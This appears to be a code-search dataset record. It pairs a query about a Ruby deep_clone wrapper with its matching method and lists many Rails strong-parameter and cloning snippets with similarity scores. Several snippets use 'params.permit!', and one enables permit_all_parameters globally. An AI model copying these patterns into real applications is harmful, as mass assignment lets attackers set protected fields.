"def grant_params\n @whitelisted = params.require(:grant).permit(:name, :description, :agency_id, :acronym)\n end",
"def check_params; true; end",
"def param_whitelist\n whitelist = [\n :description,\n :progress,\n :kpi_id\n ]\n \n unless action_name === 'create'\n whitelist.delete(:kpi_id)\n end\n \n whitelist\n end",
"def quote_params\n params.permit!\n end",
"def valid_params?; end",
"def paramunold_params\n params.require(:paramunold).permit!\n end",
"def user_params\n\t\tparams.permit(:nickname, :avatar, :description, :password, :gender, :birthday, :email, :phone, :qq_id, :wechat_id)\n\tend",
"def filtered_parameters; end",
"def user_params\n params.permit(\n \t:id,\n \t:email, \n \t:first_name, \n \t:last_name, \n \t:password, \n \t:confirm_token, \n \t:phone_number,\n \t:facebook_link,\n \t:car_model,\n \t:license_plate)\n end",
"def filtering_params\n params.permit(:email, :name)\n end",
"def check_params\n true\n end",
"def wx_public_params\n params.require(:wx_public).permit(:nickname, :manager, :alias)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def allowed_params\n params.require(:user).permit(:email, :password, :role, :first_name, :last_name, :password_confirmation)\n end",
"def listing_params\n\t\tparams.permit(:address, :transit_info, :rules, :other_info, :lat, :lng)\n\tend",
"def social_account_params\n\t\t\tparams.require(:social_account).permit!\n\t\tend",
"def safe_params\n resurce_name = self.class.resource_name\n params_method_name = \"#{resurce_name}_params\".to_sym\n if params[resurce_name]\n if respond_to?(params_method_name) || private_methods.include?(params_method_name)\n send(params_method_name)\n else\n raise ActiveModel::ForbiddenAttributesError, \"Please, define the '#{params_method_name}' method in #{self.class.name}\"\n end\n end\n end",
"def url_params\n params.require(:url).permit(:short_url, :original_url, :clicks, :ip_addresses)\n end",
"def user_params\n params.require(:user).permit(:uri, :username, :password, :realname, :email, :publicvisible)\n end",
"def model_params\n\t\tparams.require(:manager).permit(\n\t :user_name,\n :password,\n :email,\n \t\t\t)\n\tend",
"def article_params_whitelist\n params.require(:article).permit(:title, :description, category_ids: [])\n end",
"def college_whitelist_params\n params.require(:college_whitelist).permit(:status)\n end",
"def active_code_params\n params[:active_code].permit\n end",
"def filtering_params\n params.permit(:email)\n end",
"def valid_params(params)\n params.permit(:user_id, :photo_id, :originX, :originY, :width, :height)\n end",
"def ip_address_params\n\t\t\tparams.require(:ip_address).permit!\n end",
"def pull_request_params\n whitelist = [\n :url,\n :id,\n :html_url,\n :diff_url,\n :patch_url,\n :issue_url,\n :number,\n :state,\n :locked,\n :title\n ]\n params.require(:pull_request).permit(whitelist)\n end",
"def reserved_params\n params.require(:reserved).permit(:name, :email, :pax, :address, :KTP, :title)\n end",
"def post_params\n if current_user.admin? \n params.permit(:title, :body, :city, :country, :gps_location, :privacy, :visible, :latitude, :longitude, images: [], files: [])\n else \n params.permit(:title, :body, :city, :country, :gps_location, :privacy,:latitude, :longitude, images: [], files: [])\n end \n end",
"def list_params\n params.permit(:name)\n end",
"def filter_parameters; end",
"def filter_parameters; end",
"def vineyard_params\n params.permit(:vineyard_name, :email, :website_url, :phone, :address, :city, :region, :postcode, :country, :specialty, :description, :pet_friendly, :holiday, :tours, :events, :family_friendly, :cover_image, :image_one, :image_two, :image_three, :image_four, :user_id, :base64)\n end",
"def available_activity_params\n # params.require(:available_activity).permit(:type,:geometry,:properties)\n whitelisted = ActionController::Parameters.new({\n type: params.require(:available_activity)[:type],\n geometry: params.require(:available_activity)[:geometry].try(:permit!).to_h,\n properties: params.require(:available_activity)[:properties].try(:permit!).to_h\n }).try(:permit!)\n end",
"def user_params\n params.permit(:name, :username, :email, :password, :img_url, :bg_url, :coinbank)\n end",
"def user_params_pub\n\t \tparams[:user].permit(:hruid)\n\t end",
"def user_params\n params.permit(:id, :email, :password, :nickname, :status, :avatar, :flat_picture, :flatsharing_id, :member,\n :user, :color, :solde)\n end",
"def validate_search_inputs\n @whitelisted = params.fetch(:user, nil)\n if @whitelisted.blank?\n render_error(400, \"#{I18n.t('general_error.params_missing_key')}\": [I18n.t('general_error.params_missing_value', model: \"review\")])\n return\n else\n @whitelisted = @whitelisted.permit(:name, :uen, :description)\n end\n end",
"def param_whitelist\n [\n :title,\n :description,\n :organization,\n :team_id,\n :started_at,\n :finished_at,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"def url_whitelist; end",
"def admin_social_network_params\n params.require(:social_network).permit!\n end",
"def filter_params\n params.require(:filters).permit(:letters)\n end",
"def origin_params\n params.permit(:country, :state, :city, :postal_code, :address, :description)\n end",
"def valid_params(params)\n params.permit(:login, :first_name, :last_name, \n :password, :password_confirmation)\n end",
"def sensitive_params=(params)\n @sensitive_params = params\n end",
"def permit_request_params\n params.permit(:address)\n end",
"def user_params\n # Ensure a user can't give themselves admin priveleges\n params.delete(:admin) if current_user.admin?\n params.require(:user).permit(:name, :email, :admin, :image)\n end",
"def secure_params\n params.require(:location).permit(:name)\n end",
"def strong_params\n params.require( :setting ).\n permit( :global_scan_limit, :per_user_scan_limit,\n :target_whitelist_patterns, :target_blacklist_patterns )\n end",
"def question_params\n params.require(:survey_question).permit(question_whitelist)\n end",
"def case_insensitive_params\n params.require(:case_insensitive).permit(:name)\n end",
"def empire_master_no_match_params\n params.require(:empire_master_no_match).permit(:uid, :last_name, :list, :search_date, :double, :source)\n end",
"def maintenance_request_params\n params[:maintenance_request].permit! #allow all parameters for now\n end",
"def unwanted_params\n params.require(:unwanted).permit(:title, :description, :image)\n end",
"def url_params\n params[:url].permit(:full)\n end",
"def backend_user_params\n params.permit!\n end",
"def filter_params\n\t\treturn params[:candidate].permit(:name_for_filter)\n\tend",
"def speed_measurement_params\n\n #fuckit, to lazy to deal with permit crap right now\n ActionController::Parameters.permit_all_parameters = true\n\n params[:speed_measurement]\n end",
"def user_params\n params.permit(:name, :age, :username, :display_photo, :password)\n end",
"def get_params\r\n #params.require(:article).permit(:title, :permalink, :content, :source_site, :introtext, :type_id, :order_by, :searchable, :created_by, :edited_by, :published_by, :published_on, :user_id)\r\n params.require(:article).permit!\r\n\r\n end",
"def pub_params\n params.require(:pub).permit(:name, :description, :phone, :email, :hidden, :city_id, :address)\n end",
"def pass_params\n params[:pass].permit(:name, :price, :description, :colour, :events)\n end",
"def droptraining_params\n params.permit(:training_id,:user_id, :utf8, :authenticity_token, :commit)\n end",
"def person_params\n # params whitelist does *not* include admin, sub, remember_token\n # TBD: share this whitelist with the list used by configuration_permitted_parameters\n # TBD: should current_password be on this list? -- for now, leaving off, since it seems to work without\n # NOTE: do not include 'admin' in this list!\n params.require(:person).permit(\n :name, \n :email, \n :description,\n :password, \n :password_confirmation\n )\n end",
"def parameter_params\n params.require(:parameter).permit(:name, :description, :param_code, :param_value, :active_from, :active_to)\n end"
] |
[
"0.69792545",
"0.6781151",
"0.67419964",
"0.674013",
"0.6734356",
"0.6591046",
"0.6502396",
"0.6496313",
"0.6480641",
"0.6477825",
"0.64565",
"0.6438387",
"0.63791263",
"0.63740575",
"0.6364131",
"0.63192815",
"0.62991166",
"0.62978333",
"0.6292148",
"0.6290449",
"0.6290076",
"0.62894756",
"0.6283177",
"0.6242471",
"0.62382483",
"0.6217549",
"0.6214457",
"0.6209053",
"0.6193042",
"0.6177802",
"0.6174604",
"0.61714715",
"0.6161512",
"0.6151757",
"0.6150663",
"0.61461",
"0.61213595",
"0.611406",
"0.6106206",
"0.6105114",
"0.6089039",
"0.6081015",
"0.6071004",
"0.60620916",
"0.6019971",
"0.601788",
"0.6011056",
"0.6010898",
"0.6005122",
"0.6005122",
"0.6001556",
"0.6001049",
"0.59943926",
"0.5992201",
"0.59909594",
"0.5990628",
"0.5980841",
"0.59669393",
"0.59589154",
"0.5958826",
"0.5957911",
"0.5957385",
"0.5953072",
"0.59526145",
"0.5943361",
"0.59386164",
"0.59375334",
"0.59375334",
"0.5933856",
"0.59292704",
"0.59254247",
"0.5924164",
"0.59167904",
"0.59088355",
"0.5907542",
"0.59064597",
"0.5906243",
"0.5898226",
"0.589687",
"0.5896091",
"0.5894501",
"0.5894289",
"0.5891739",
"0.58860534",
"0.5882406",
"0.587974",
"0.58738774",
"0.5869024",
"0.58679986",
"0.5867561",
"0.5865932",
"0.5864461",
"0.58639693",
"0.58617616",
"0.5861436",
"0.5860451",
"0.58602303",
"0.5854586",
"0.58537364",
"0.5850427",
"0.5850199"
] |
0.0
|
-1
|
Wraps the deep_cloneable gem deep_clone method to allow using the predefined associations and options from our Cloneable.acts_as_cloneable macro.
|
def deep_clone!(options = {})
processed_options = Para::Cloneable::IncludeTreeBuilder.new(self, cloneable_options).build
options = options.reverse_merge(processed_options)
callback = build_clone_callback(options.delete(:prepare))
deep_clone(options) do |original, clone|
Para::Cloneable::AttachmentsCloner.new(original, clone).clone!
callback&.call(original, clone)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def deep_clone; end",
"def deep_clone\n return @deep_cloning_obj if @deep_cloning\n @deep_cloning_obj = clone\n @deep_cloning_obj.instance_variables.each do |var|\n val = @deep_cloning_obj.instance_variable_get(var)\n begin\n @deep_cloning = true\n val = val.deep_clone\n rescue TypeError, NoMethodError\n next\n ensure\n @deep_cloning = false\n end\n @deep_cloning_obj.instance_variable_set(var, val)\n end\n deep_cloning_obj = @deep_cloning_obj\n @deep_cloning_obj = nil\n deep_cloning_obj\n end",
"def deep_clone\n cloned = self.clone\n cloned.initialize_from_copy(self)\n cloned\n end",
"def custom_deep_clone\n value = self.clone\n return Marshal.load(Marshal.dump(value))\n end",
"def deep_clone\n Marshal.load(Marshal.dump(self))\n end",
"def deep_clone\n Marshal::load(Marshal.dump(self))\n end",
"def deep_clone\n bi = dup\n bi.save\n feature_selections.each { |fs| bi.feature_selections << fs.dup }\n bi\n end",
"def recursive_clone(parent_object_id = nil,\r\n clone_id_hash = {} )\r\n\r\n self.transaction do\r\n cloned_object = dup\r\n\r\n unequal_attrs = self.class.clone_info[:unequal_attributes] || []\r\n unequal_attrs.each do |a|\r\n cloned_object.send(\"#{a.to_s}=\", nil)\r\n end\r\n \r\n #Set parent object_id\r\n if self.class.parent_id_attr and parent_object_id\r\n cloned_object.send(\"#{self.class.parent_id_attr[0].to_s}=\", parent_object_id)\r\n end\r\n\r\n begin\r\n obj_attrs = cloned_object.attributes.clone\r\n self.class.ignore_attributes.each { |a| obj_attrs.delete(a.to_s)}\r\n if self.class.parent_id_attr and parent_object_id\r\n obj_attrs[\"#{self.class.parent_id_attr[0].to_s}\"] = parent_object_id\r\n end\r\n \r\n cloned_object.save!\r\n clone_id_hash[\"#{self.class.table_name}_#{self.id}\"] = cloned_object.id\r\n rescue Exception => e\r\n logger.info(\"deepclone: Clone save failed for \" + cloned_object.inspect)\r\n raise e\r\n end\r\n\r\n add_cloned_associations(cloned_object, clone_id_hash)\r\n add_equivalent_associations(cloned_object, clone_id_hash)\r\n \r\n clone_id_hash[\"#{self.class.table_name}_#{self.id}\"] = cloned_object.id\r\n cloned_object\r\n end # transaction\r\n end",
"def deep_clone\n Marshal.load(Marshal.dump(self))\n end",
"def deep_clone; Marshal::load(Marshal.dump(self)); end",
"def deep_clone\n Marshal::load(Marshal.dump(self))\n end",
"def deep_clone(object)\n Marshal.load(Marshal.dump(object))\n end",
"def clone_for_recursion(child, association)\n self.class.new(\n # replication mode\n :mode => mode,\n\n # the new src_obj is of course the child\n :src_obj => child,\n\n # these stay the same\n :dest_mission => dest_mission,\n :deep_copy => deep_copy,\n :retain_link_on_promote => retain_link_on_promote,\n\n # this is always true since we go into a transaction first thing\n :in_transaction => true,\n\n # the current_assoc is the name of the association that is currently being replicated\n :current_assoc => association,\n\n # add the new copy to the list of copy parents\n :ancestors => ancestors + [dest_obj],\n\n # recursed always is true since we're recursing here\n :recursed => true\n )\n end",
"def deep_clone\n if RUBY_PLATFORM == 'opal'\n JSON.parse(to_json)\n else\n Marshal.load(Marshal.dump(self))\n end\n end",
"def clone_with_associations\n raise \"Method not implemented, please define \\\"clone_with_associations\\\" in #{model_name.to_s}\"\n end",
"def deep_clone!\n opts = {}\n opts[:except] = [ \n :updated_at\n ]\n self.clone(opts) \n end",
"def revision_cloned_associations #:nodoc:\n clone_associations = self.revisable_options.clone_associations\n \n self.revisable_cloned_associations ||= if clone_associations.blank?\n []\n elsif clone_associations.eql? :all\n revisable_class.reflect_on_all_associations.map(&:name)\n elsif clone_associations.is_a? [].class\n clone_associations\n elsif clone_associations[:only]\n [clone_associations[:only]].flatten\n elsif clone_associations[:except]\n revisable_class.reflect_on_all_associations.map(&:name) - [clone_associations[:except]].flatten\n end \n end",
"def shallow_clone\n cloned = self.clone\n cloned.remove_relations\n return cloned\n end",
"def clone\n @clone ||= super\n end",
"def revision_cloned_associations #:nodoc:\n clone_associations = self.revisable_options.clone_associations\n\n self.revisable_cloned_associations ||= \\\n if clone_associations.blank?\n []\n elsif clone_associations.eql? :all\n revisable_class.reflect_on_all_associations.map(&:name)\n elsif clone_associations.is_a? [].class\n clone_associations\n elsif clone_associations[:only]\n [clone_associations[:only]].flatten\n elsif clone_associations[:except]\n revisable_class.reflect_on_all_associations.map(&:name) - [clone_associations[:except]].flatten\n end\n end",
"def cloneNode(deep = true)\n super(deep, @name)\n end",
"def deep_copy(obj); end",
"def clone() end",
"def clone(*args); end",
"def cloneNode(deep = true)\n attrs = []\n @attr.each do |attr|\n attrs.push(attr.cloneNode(true))\n end\n super(deep, @name, attrs)\n end",
"def cloneNode(deep = true)\n super(deep, @target, @data)\n end",
"def clone\n end",
"def deep_dup; end",
"def clone\n end",
"def clone\n end",
"def clone\n end",
"def clone_deep\n c = self.clone :include => collection_details\n c.updated_at = nil\n c.created_at = nil\n self.collection_details.each do |detail|\n c.send(detail).each do |d|\n d.created_at = nil\n d.updated_at = nil\n d.person_id = nil\n end\n end\n c\n end",
"def deep_copy\n deep_transform_values(&method(:_deep_copy))\n end",
"def recursive_clone\n\t\t\tnode_map = self.survey.node_maps.build(:survey => self.survey, :node => self.node)\n\t\t\tself.survey.node_maps.select { |i| i.parent == self && !i.marked_for_destruction? }.each { |child_node|\n\t\t\t\tchild_node.survey = self.survey # required due to voodoo - we want to use the same survey with the same object_id\n\t\t\t\tnode_map.children << child_node.recursive_clone\n\t\t\t}\n\t\t\tnode_map\n\t\tend",
"def deep_dup\n duplicable? ? dup : self\n end",
"def deep_dup\n duplicable? ? dup : self\n end",
"def clone; end",
"def clone; end",
"def clone; end",
"def clone\n # This is an easy fix to ruby's shameful lack of deep_copy.\n # Marshall.dump transforms any object in a string that can later be decoded to\n # yield the object back. This way, you get a deepcopy of the given object.\n # Easy but dirty.\n return Marshal.load( Marshal.dump(self) )\n end",
"def clone\n # This is an easy fix to ruby's shameful lack of deep_copy.\n # Marshall.dump transforms any object in a string that can later be decoded to\n # yield the object back. This way, you get a deepcopy of the given object.\n # Easy but dirty.\n return Marshal.load( Marshal.dump(self) )\n end",
"def clone\n raise NotImplementedError\n end",
"def clone(*) end",
"def clone(*) end",
"def deep_clone!\n opts = {}\n opts[:except] = [\n :current_offering_admin_phase_id, \n :complete, \n :financial_aid_approval_request_sent_at,\n :application_for_offerings_count,\n :enable_award_acceptance,\n :accepted_offering_status_id,\n :declined_offering_status_id\n ]\n opts[:include] = [\n {:pages => {:questions => [:options, :validations]}}, \n {:statuses => :emails},\n {:admin_phases => {:tasks => :extra_fields}},\n :restrictions,\n :mentor_questions,\n :mentor_types,\n :review_criterions,\n :application_review_decision_types,\n :application_interview_decision_types,\n :application_final_decision_types,\n :application_moderator_decision_types,\n :dashboard_items,\n :application_types,\n :application_categories,\n :offering_committee_member_restrictions,\n :sessions,\n :offering_award_types,\n :other_award_types,\n :location_sections\n ]\n self.clone(opts)\n end",
"def deep_clone(value)\n case value\n when Hash\n value.inject({}) do |result, kv|\n result[kv[0]] = deep_clone(kv[1])\n result\n end\n when Array\n value.inject([]) do |result, item|\n result << deep_clone(item)\n end\n else\n begin\n value.clone\n rescue TypeError\n value\n end\n end\n end",
"def clone\n super\n end",
"def clone(recursive = true)\n # have to dup value, attr, options, otherwise two elements will share same instance\n new_self = Kramdown::ElementRt.new(\n type, # this is a symbol, can't be duped\n (value.dup if value),\n (attr.dup if attr),\n (options.dup if options)\n )\n if recursive\n children.each do |child|\n new_self.add_child(child.clone)\n end\n end\n new_self\n end",
"def clone\n @clone = true\n end",
"def deep_dup\n dup\n end",
"def clone\n ret = self.deep_copy\n ret.register if self.registered\n ret\n end",
"def build_cloneable_options_tree(resource, path = [])\n cloneable_options = resource.cloneable_options\n\n # Iterate over the resource's cloneable options' :include array and recursively\n # add nested included resources to its own included resources.\n options = cloneable_options[:include].each_with_object({}) do |reflection_name, hash|\n # This avoids cyclic dependencies issues by stopping nested association\n # inclusions before the cycle starts.\n #\n # For example, if a post includes its author, and the author includes its posts,\n # this would make the system fail with a stack level too deep error. Here this\n # guard allows the inclusion to stop at :\n #\n # { posts: { author: { posts: { author: {}}}}}\n #\n # Which ensures that, using the dictionary strategy of deep_cloneable, all\n # posts' authors' posts will have their author mapped to an already cloned\n # author when it comes to cloning the \"author\" 4th level of the include tree.\n #\n # This is not the most optimized solution, but works well enough as if the\n # author's posts match previously cloned posts, they won't be cloned as they'll\n # exist in the cloned resources dictionary.\n next if path.length >= 4 &&\n path[-4] == path[-2] &&\n path[-2] == reflection_name &&\n path[-3] == path[-1]\n\n hash[reflection_name] = {}\n\n unless (reflection = resource.class.reflections[reflection_name.to_s])\n next\n end\n\n reflection_options = hash[reflection_name]\n association_target = resource.send(reflection_name)\n\n if reflection.collection?\n association_target.each do |nested_resource|\n add_reflection_options(\n reflection_options,\n nested_resource,\n [*path, reflection_name]\n )\n end\n else\n add_reflection_options(\n reflection_options,\n association_target,\n [*path, reflection_name]\n )\n end\n end\n\n # Add the :except array from the resource to the current options hash and merge\n # it if one already exist from another resource of the same class.\n options[:except] ||= []\n options[:except] |= Array.wrap(cloneable_options[:except])\n\n options\n end",
"def deep_dup\n puts \"warning: #{self.class}: deep_dup not implement\"\n end",
"def clone\n super\n end",
"def cloneNode(deep = true)\n super(deep, @name, @pubid, @sysid)\n end",
"def clone\n self\n end",
"def deep_clone\n b = dup\n b.generate_token\n b.save\n basket_items.each {|i| b.basket_items << i.dup}\n b\n end",
"def deep_clone(parent_deployment=nil, name=nil, with_nodes=true)\n\n new_snap = self.dup\n\n Snapshot.transaction begin \n new_snap.deployment_id = parent_deployment.id if parent_deployment\n new_snap.name = name || \"#{self.name}_#{self.id}\"\n new_snap.save \n # TODO ZEHICLE clone the roles\n # TODO ZEHICLE clone the nodes\n end\n\n new_snap\n end",
"def clone\n newobj = super\n newobj.instance_eval do\n __getobj__.each_pair do |k, v|\n __getobj__[k] = v.clone\n end\n end\n newobj\n end",
"def clone( options={} )\n\t\tself.log.debug \"cloning %p with options = %p\" % [ self, options ]\n\t\tnewset = super()\n\t\tnewset.options = @options.merge( options )\n\t\treturn newset\n\tend",
"def _clone\n self.class.new(self)\n end",
"def _deep_copy(value)\n case value\n when Module then value\n when NestedOpenStructWithHashAccess then value.class.new(value.nested_class, value.to_h.deep_transform_values(&method(:_deep_copy)))\n when OpenStruct then value.class.new(value.to_h.deep_transform_values(&method(:_deep_copy)))\n else\n value.dup\n end\n end",
"def clone\n copy(false)\n end",
"def deep_copy(o)\n Marshal.load(Marshal.dump(o))\nend",
"def deep_copy(o)\n Marshal.load(Marshal.dump(o))\nend",
"def clone_object(ref)\n load_object(ref, true)\n end",
"def create_deep_copy(object)\n if object.is_a?(Array)\n return object.map { |e| create_deep_copy e }\n elsif object.is_a?(Hash)\n return {}.tap { |out| object.each { |k, v| out[create_deep_copy(k)] = create_deep_copy(v) unless k == :Parent } }\n elsif object.is_a?(String)\n return object.dup\n else\n return object # objects that aren't Strings, Arrays or Hashes (such as Symbols and Integers) won't be edited inplace.\n end\n end",
"def deep_copy(**options)\n copy = self.dup\n copy.question_id = options.fetch(:question_id, nil)\n return copy\n end",
"def deep_copy(obj)\n super\n n = obj.first\n until n.nil? do\n if n.value.is_a? Linkedlist\n k = Linkedlist.new\n self.addToList(k.deep_copy(n.value))\n else\n self.addToList(n.value)\n end\n n = n.next\n end\n return self\n end",
"def deep_copy\n field_copy = self.dup\n field_copy.save!\n field_copy\n end",
"def deep_copy(src)\n field = Field.find(src)\n name = field.name\n if (name !~ /\\(copy\\)\\s*$/)\n name += \" (copy)\"\n end\n self.name = field.parent_id ? field.name : name\n self.group_id = field.group_id\n self.parent_id = field.parent_id\n self.is_required = field.is_required\n self.is_multi = field.is_multi\n self.type = field.type\n self.par_hi_lim = field.par_hi_lim\n self.par_lo_lim = field.par_lo_lim\n self.display_as = field.display_as\n self.save\n field.limits.each do |l|\n newL = l.clone :except => :field_id\n newL.field_id = self.id\n newL.save\n end\n field.children.each do |k|\n newK = Field.new\n newK.deep_copy(k.id)\n newK.parent_id = self.id\n newK.save\n end\n return self.id\n end",
"def clone\n self.copy\n end",
"def clone\n self.copy\n end",
"def deep_copy\n copy = self.dup\n copy.create_command\n copy.serializer = self.serializer.deep_copy\n copy.deserializer = self.deserializer.deep_copy\n copy.commands = self.commands.dup\n copy.libraries = self.libraries.dup\n copy.bound_objects = self.bound_objects.dup\n copy\n end",
"def clone\n Marshal.load(Marshal.dump self)\n end",
"def deep_copy\n Marshal.load(Marshal.dump(self))\n end",
"def composite_clone\n if composite? \n attrs = self.attributes_before_type_cast\n self.class.new do |record|\n record.send :instance_variable_set, '@attributes', attrs\n end \n else\n clone\n end \n end",
"def deep_copy(object)\n Marshal.load(Marshal.dump(object))\nend",
"def clone\n copy = super\n transaction do\n copy.save!\n\n %w[\n registration_information support information_source advance_directive\n ].each do |assoc|\n copy.send(\"#{assoc}\\=\", send(assoc).clone) if send(assoc)\n end\n\n %w[\n patient_identifiers languages providers medications allergies conditions\n all_results immunizations encounters procedures medical_equipments social_history insurance_providers\n ].each do |assoc|\n send(assoc).each do |item|\n copy.send(assoc) << item.clone\n end\n end\n\n end\n copy\n end",
"def deep_clone(new_code)\n RecordChangelog.enable_recording = false\n # Need to initialize this variable since it doesn't carry across\n # if created inside the transaction block.\n\n logger.error \"Before Clone\"\n @new_valve = self.dup\n logger.error \"After Clone\"\n transaction do\n\n @new_valve.valve_code = new_code\n # Auto-archive new clones\n @new_valve.archived = true\n @new_valve.save!\n logger.error \"After New Valve Save\"\n # Clones each component\n self.valves_valve_components.each do |detail|\n new_detail = detail.dup\n new_detail.valve = @new_valve\n new_detail.save!\n end\n logger.error \"After Valve Components Clone\"\n # Clones each manufacturer link\n self.manufacturers_valves.each do |detail|\n new_detail = detail.dup\n new_detail.valve = @new_valve\n new_detail.save!\n end\n logger.error \"After Manufacturers Clone\"\n # Clones each superseded manufacturer link\n self.old_manufacturers_valves.each do |detail|\n new_detail = detail.dup\n new_detail.valve = @new_valve\n new_detail.save!\n end\n logger.error \"After Old Manufacturers Clone\"\n end\n RecordChangelog.enable_recording = true\n # Custom revision history record\n RecordChangelog.record_creation(@new_valve, {\n :action => 'Cloned',\n :field_name => 'Valve',\n :old_value => self.valve_code,\n :new_value => @new_valve.valve_code\n })\n return @new_piping_class\n rescue ActiveRecord::RecordInvalid\n ensure\n # Be sure to re-enable recording even if this fails.\n RecordChangelog.enable_recording = true\n return @new_valve\n end",
"def clone\n node.clone.proxy(rdf_type)\n end",
"def deep_dup\n # noinspection RubyMismatchedReturnType\n dup\n end",
"def clone\n self\n end",
"def deepcopy(o)\n Marshal.load(Marshal.dump(o))\nend",
"def deep_copy(o)\n Marshal.load(Marshal.dump(o))\n end",
"def clone\n dup\n end",
"def deepcopy(o)\n Marshal.load(Marshal.dump(o))\nend",
"def frozen_clone\n clone.tap do |cloned|\n cloned.nodes = @nodes.map{|node| node.frozen_clone }.freeze\n cloned.freeze\n end\n end",
"def deep_copy( obj )\n\n\t\t\t# Handle mocks during testing\n\t\t\treturn obj if obj.class.name == 'RSpec::Mocks::Mock'\n\n\t\t\treturn case obj\n\t\t\t\twhen NilClass, Numeric, TrueClass, FalseClass, Symbol,\n\t\t\t\t Module, Encoding, IO, Tempfile\n\t\t\t\t\tobj\n\n\t\t\t\twhen Array\n\t\t\t\t\tobj.map {|o| deep_copy(o) }\n\n\t\t\t\twhen Hash\n\t\t\t\t\tnewhash = {}\n\t\t\t\t\tnewhash.default_proc = obj.default_proc if obj.default_proc\n\t\t\t\t\tobj.each do |k,v|\n\t\t\t\t\t\tnewhash[ deep_copy(k) ] = deep_copy( v )\n\t\t\t\t\tend\n\t\t\t\t\tnewhash\n\n\t\t\t\telse\n\t\t\t\t\tobj.clone\n\t\t\t\tend\n\t\tend",
"def deep_copy(o)\n Marshal.load(Marshal.dump(o))\n end",
"def deep_copy(obj)\n Marshal.load(Marshal.dump(obj))\nend",
"def deep_dup\n map(&:deep_dup)\n end",
"def remote_clone\n raise CommandNotImplemented\n end",
"def vendored\n clone unless cloned?\n super\n end",
"def deep_copy\n Marshal.load(Marshal.dump(self))\n end",
"def deep_clone\n # use deep_cloneable to create a clone of most of the test_case\n new_case = self.dup(:include => [:steps], :except => [:unique_key, {:steps => :id}])\n # couldn't get the suites to copy, but those are simple enough\n new_case.suite_ids=self.suite_ids\n return new_case\n end",
"def clone\n a = dup\n a.verbatim_label = [verbatim_label, \"[CLONED FROM #{id}\", \"at #{Time.now}]\"].compact.join(' ')\n\n roles.each do |r|\n a.collector_roles.build(person: r.person, position: r.position)\n end\n\n if georeferences.load.any?\n not_georeference_attributes = %w{created_at updated_at project_id updated_by_id created_by_id collecting_event_id id position}\n georeferences.each do |g|\n c = g.dup.attributes.select{|c| !not_georeference_attributes.include?(c) }\n a.georeferences.build(c)\n end\n end\n\n a.save\n a\n end",
"def cyclone(options={})\n self.transaction do\n assignment = options[:assignment] # specific assignment override\n clone_associations = get_clone_associations(options)\n options[:authable] = self\n options[:dictionary] ||= get_clone_dictionary(options)\n #\n # Clone the phase.\n #\n cloned_phase = clone_self(options, clone_associations)\n cloned_phase.title = get_clone_title(self.title, options)\n cloned_phase.assignment_id = assignment.id if assignment.present?\n cloned_phase.position = clone_position(cloned_phase, options)\n cloned_phase.state = self.state\n clone_save_record(cloned_phase)\n #\n # Post clone phase: clone the cloned phase's phase_component componentables, phase template, teams, etc..\n #\n clone_phase_template(cloned_phase, options) if clone_include?(:clone_phase_template, options)\n clone_phase_component_componentables(cloned_phase, options)\n clone_phase_resources(options) if clone_include?(:clone_resources, options)\n clone_phase_teams(options) if clone_include?(:clone_teams, options)\n\n cloned_phase\n end\n end",
"def deep_copy(opts)\n Marshal.load Marshal.dump(opts)\n end",
"def cloneable?(ref)\n ref[:type] == :one_to_many || ref[:type] == :one_to_one\n end"
] |
[
"0.79374623",
"0.74966246",
"0.7482058",
"0.7159899",
"0.71067685",
"0.7042009",
"0.7020679",
"0.68281054",
"0.68103254",
"0.6760494",
"0.6750986",
"0.67439926",
"0.6689758",
"0.6678776",
"0.66758543",
"0.65711266",
"0.65700716",
"0.6535038",
"0.6527982",
"0.65121573",
"0.6434387",
"0.6429036",
"0.64258933",
"0.6384213",
"0.6347169",
"0.63328105",
"0.63284487",
"0.63150275",
"0.62927914",
"0.62927914",
"0.62927914",
"0.62863064",
"0.6265051",
"0.6256719",
"0.62521255",
"0.62521255",
"0.6244668",
"0.6244668",
"0.6244668",
"0.62391824",
"0.62391824",
"0.62305635",
"0.62116414",
"0.62116414",
"0.61947256",
"0.61376834",
"0.61355793",
"0.6134973",
"0.6118885",
"0.61051023",
"0.60685086",
"0.60510385",
"0.60328436",
"0.60145956",
"0.6010034",
"0.59860045",
"0.59848756",
"0.59789133",
"0.5974608",
"0.59731746",
"0.59108335",
"0.59031504",
"0.5900669",
"0.58800006",
"0.58800006",
"0.5875825",
"0.5868856",
"0.58681226",
"0.58667994",
"0.58419895",
"0.58355725",
"0.5835233",
"0.5835233",
"0.5830954",
"0.58291894",
"0.5827187",
"0.5802072",
"0.58005095",
"0.57716835",
"0.57655376",
"0.5759523",
"0.57523227",
"0.574287",
"0.57247454",
"0.5724175",
"0.5712603",
"0.57094336",
"0.57018316",
"0.56999665",
"0.56909764",
"0.5679886",
"0.56715274",
"0.56705016",
"0.5666778",
"0.56557924",
"0.565218",
"0.5647199",
"0.5647187",
"0.56392723",
"0.5621334"
] |
0.76570904
|
1
|
We ensure that the passed callback is actually callable on the object we're cloning. This is needed for associations because deep_cloneable calls the callback for every associated object.
|
def build_clone_callback(callback)
case callback
when Proc
callback
when Symbol
->(original, clone) {
original.send(callback, clone) if original.respond_to?(callback, true)
}
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def clone_pre_copy_hook(clone_source_object, _opts = {})\n clone_source_object\n end",
"def clone_temp\n clone.tap do |c|\n def c.save(*a)\n true\n end\n end\n end",
"def initialize_copy(orig) \n super\n @delegated_to_object = @delegated_to_object.clone\n end",
"def clone_post_copy_hook(_clone_copy_output, _opts = {})\n end",
"def replicate_disable_callbacks(instance)\n if ::ActiveRecord::VERSION::MAJOR >= 3\n # AR 3.1.x, 3.2.x\n def instance.run_callbacks(*args); yield if block_given?; end\n\n # AR 3.0.x\n def instance._run_save_callbacks(*args); yield if block_given?; end\n def instance._run_create_callbacks(*args); yield if block_given?; end\n def instance._run_update_callbacks(*args); yield if block_given?; end\n def instance._run_commit_callbacks(*args); yield if block_given?; end\n else\n # AR 2.x\n def instance.callback(*args)\n end\n def instance.record_timestamps\n false\n end\n end\n end",
